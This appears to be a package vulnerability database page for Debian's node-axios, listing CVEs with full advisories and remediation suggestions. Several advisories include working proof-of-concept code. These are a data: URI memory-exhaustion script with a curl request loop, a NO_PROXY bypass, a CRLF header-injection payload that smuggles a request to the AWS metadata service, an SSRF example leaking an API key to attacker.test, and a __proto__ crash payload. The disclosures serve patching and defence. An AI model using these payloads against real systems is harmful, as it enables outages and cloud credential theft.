Search for packages
| purl | pkg:deb/debian/node-axios@1.2.1%2Bdfsg-1%2Bdeb12u1?distro=trixie |
| Next non-vulnerable version | 1.6.2+dfsg-1 |
| Latest non-vulnerable version | 1.15.0-1 |
| Risk | 4.5 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-aq84-8cnz-byax
Aliases: CVE-2025-58754 GHSA-4hjh-wcwx-xvwj |
Axios is vulnerable to DoS attack through lack of data size check ## Summary When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. ## Details The Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob. Relevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): ```js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } ``` The decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): ```js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } ``` * The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. * It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams. * As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs. ## PoC ```js const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); ``` Run with limited heap to force a crash: ```bash node --max-old-space-size=100 poc.js ``` Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: ``` <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … ``` Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS. ```js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); /** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */ app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 * 1024, // Axios will ignore this for data: maxBodyLength: 8 * 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 * 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`); console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`); }); ``` Run this app and send 3 post requests: ```sh SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null``` ``` --- ## Suggestions 1. **Enforce size limits** For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit. 2. **Stream decoding** Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-axk7-6q4b-vuga
Aliases: CVE-2025-62718 GHSA-3p68-rc4w-qgx5 |
Axios has a NO_PROXY Hostname Normalization Bypass Leads to SSRF Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules. Requests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services. According to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. However, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. --- **PoC** ```js import http from "http"; import axios from "axios"; const proxyPort = 5300; http.createServer((req, res) => { console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host); res.writeHead(200, { "Content-Type": "text/plain" }); res.end("proxied"); }).listen(proxyPort, () => console.log("Proxy", proxyPort)); process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`; process.env.NO_PROXY = "localhost,127.0.0.1,::1"; async function test(url) { try { await axios.get(url, { timeout: 2000 }); } catch {} } setTimeout(async () => { console.log("\n[*] Testing http://localhost.:8080/"); await test("http://localhost.:8080/"); // goes through proxy console.log("\n[*] Testing http://[::1]:8080/"); await test("http://[::1]:8080/"); // goes through proxy }, 500); ``` **Expected:** Requests bypass the proxy (direct to loopback). **Actual:** Proxy logs requests for `localhost.` and `[::1]`. --- **Impact** * Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable. * Attackers controlling request URLs can: * Force Axios to send local traffic through an attacker-controlled proxy. * Bypass SSRF mitigations relying on NO\_PROXY rules. * Potentially exfiltrate sensitive responses from internal services via the proxy. --- **Affected Versions** * Confirmed on Axios **1.12.2** (latest at time of testing). * affects all versions that rely on Axios’ current `NO_PROXY` evaluation. --- **Remediation** Axios should normalize hostnames before evaluating `NO_PROXY`, including: * Strip trailing dots from hostnames (per RFC 3986). * Normalize IPv6 literals by removing brackets for matching. |
Affected by 0 other vulnerabilities. |
|
VCID-ek49-tuj4-t3ap
Aliases: CVE-2026-40175 GHSA-fvcv-3m26-pcqx |
Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain # Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain ## Summary The Axios library is vulnerable to a specific "Gadget" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass). While Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities. **Severity**: Critical (CVSS 9.9) **Affected Versions**: All versions (v0.x - v1.x) **Vulnerable Component**: `lib/adapters/http.js` (Header Processing) ## Usage of "Helper" Vulnerabilities This vulnerability is unique because it requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge. Because Axios does not sanitise these merged header values for CRLF (`\r\n`) characters, the polluted property becomes a **Request Smuggling** payload. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: ```javascript Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore"; ``` ### 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: ```javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings'); ``` ### 3. The Execution Axios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation. **Resulting HTTP traffic:** ```http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600 GET /ignore HTTP/1.1 ... ``` ### 4. The Impact (IMDSv2 Bypass) The "Smuggled" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send). The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account. ## Impact Analysis - **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens). - **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels. - **Cache Poisoning**: Can inject `Host` headers to poison shared caches. ## Recommended Fix Validate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function. **Patch Suggestion:** ```javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header }); ``` ## References - **OWASP**: CRLF Injection (CWE-113) This report was generated as part of a security audit of the Axios library. |
Affected by 0 other vulnerabilities. |
|
VCID-hq6f-86aj-8yav
Aliases: CVE-2025-27152 GHSA-jr5f-v2jv-69x6 |
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL ### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if `baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: ```js import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF ``` In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers. It is recommended that: - When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`. - Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers: ``` mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (e.g., main.js): ```js import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); ``` 3. Run the script: ``` $ node main.js this is server2 ``` Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`. ### Impact - Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. - SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. - Affected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue. |
Affected by 5 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-kgnf-z6ca-tqgp
Aliases: CVE-2026-39865 GHSA-qj83-cq47-w5f8 |
Axios HTTP/2 Session Cleanup State Corruption Vulnerability |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-x41s-g5mh-pkdq
Aliases: CVE-2026-25639 GHSA-43fc-jf86-j433 |
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig # Denial of Service via **proto** Key in mergeConfig ### Summary The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service. ### Details The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101: ```javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); ``` When `prop` is `'__proto__'`: 1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property 2. `Object.keys()` includes `'__proto__'` in the iteration 3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object) 4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype` 5. `Object.prototype(...)` throws `TypeError: merge is not a function` The `mergeConfig` function is called by: - `Axios._request()` at `lib/core/Axios.js:75` - `Axios.getUri()` at `lib/core/Axios.js:201` - All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224` ### PoC ```javascript import axios from "axios"; const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig); ``` **Reproduction steps:** 1. Clone axios repository or `npm install axios` 2. Create file `poc.mjs` with the code above 3. Run: `node poc.mjs` 4. Observe the TypeError crash **Verified output (axios 1.13.4):** ``` TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9) ``` **Control tests performed:** | Test | Config | Result | |------|--------|--------| | Normal config | `{"timeout": 5000}` | SUCCESS | | Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** | | Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS | **Attack scenario:** An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`. ### Impact **Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload. Affected environments: - Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration This is NOT prototype pollution - the application crashes before any assignment occurs. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-1vkx-cwua-rqe4 | In axios before 1.7.8, lib/helpers/isURLSameOrigin.js does not use a URL object when determining an origin, and has a potentially unwanted setAttribute('href',href) call. NOTE: some parties feel that the code change only addresses a warning message from a SAST tool and does not fix a vulnerability. |
CVE-2024-57965
|
| VCID-5b5u-3ngh-4fd9 | Denial of Service Axios allows attackers to cause a denial of service (application crash) by continuing to accepting content after `maxContentLength` is exceeded. |
CVE-2019-10742
GHSA-42xw-2xvc-qx8m |
| VCID-7rdk-mw2k-eqdx | Axios Cross-Site Request Forgery Vulnerability An issue discovered in Axios 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information. |
CVE-2023-45857
GHSA-wf5p-g6vw-rhxx |
| VCID-epu9-wdt3-kbay | Server-Side Request Forgery in axios axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs. |
CVE-2024-39338
GHSA-8hc4-vh64-cxmj |
| VCID-n89f-3nkb-ebg3 | Incorrect Comparison axios is vulnerable to Inefficient Regular Expression Complexity |
CVE-2021-3749
GHSA-cph5-m8f7-6c5x |
| VCID-xtpz-6f5t-t3ev | Axios vulnerable to Server-Side Request Forgery Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address. |
CVE-2020-28168
GHSA-4w2v-q235-vp99 |